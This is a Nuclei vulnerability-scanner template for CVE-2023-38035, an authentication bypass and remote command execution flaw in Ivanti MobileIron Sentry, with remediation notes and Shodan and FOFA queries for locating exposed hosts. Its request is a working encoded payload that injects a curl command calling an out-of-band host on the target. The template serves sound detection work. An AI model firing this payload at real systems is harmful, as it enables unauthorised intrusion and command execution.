id: CVE-2023-38035

info:
  name: Ivanti Sentry - Authentication Bypass
  author: DhiyaneshDk,iamnoooob,rootxharsh
  severity: critical
  description: |
    A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the system.
  remediation: |
    Apply the latest security patches or updates provided by Ivanti to fix the authentication bypass vulnerability.
  reference:
    - https://forums.ivanti.com/s/article/CVE-2023-38035-API-Authentication-Bypass-on-Sentry-Administrator-Interface
    - https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/
    - https://github.com/horizon3ai/CVE-2023-38035
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38035
    - http://packetstormsecurity.com/files/174643/Ivanti-Sentry-Authentication-Bypass-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-38035
    cwe-id: CWE-863
    epss-score: 0.97506
    epss-percentile: 0.99983
    cpe: cpe:2.3:a:ivanti:mobileiron_sentry:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ivanti
    product: mobileiron_sentry
    shodan-query:
      - 'html:"Note: Requires a local Sentry administrative user"'
      - 'http.html:"note: requires a local sentry administrative user"'
    fofa-query: 'body="note: requires a local sentry administrative user"'
  tags: cve2023,cve,packetstorm,ivanti,mobileiron,sentry,kev,rce,auth-bypass,oast
variables:
  oast: "{{interactsh-url}}/?"
  padstr: "{{randstr}}"

http:
  - raw:
      - |
        POST /mics/services/MICSLogService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {{base64_decode('YwEAbQAYdXBsb2FkRmlsZVVzaW5nRmlsZUlucHV0TVMAB2NvbW1hbmRTAEw=')}}curl {{padding(oast,padstr,71)}}{{base64_decode('UwAGaXNSb290VHpOeg==')}}

    matchers:
      - type: dsl
        dsl:
          - contains(body, 'isRunningTzz')
          - contains(interactsh_protocol, 'dns')
          - status_code == 200
        condition: and
# digest: 4b0a00483046022100e47985346b536b7224de68c9b72e8d86e76ac189264711c8fefe7b40d9064248022100cdc992bf51c0fe466139970230d339b747fc90e29dbaacb4132214f0ed7944e4:922c64590222798bb761d5b6d8e72950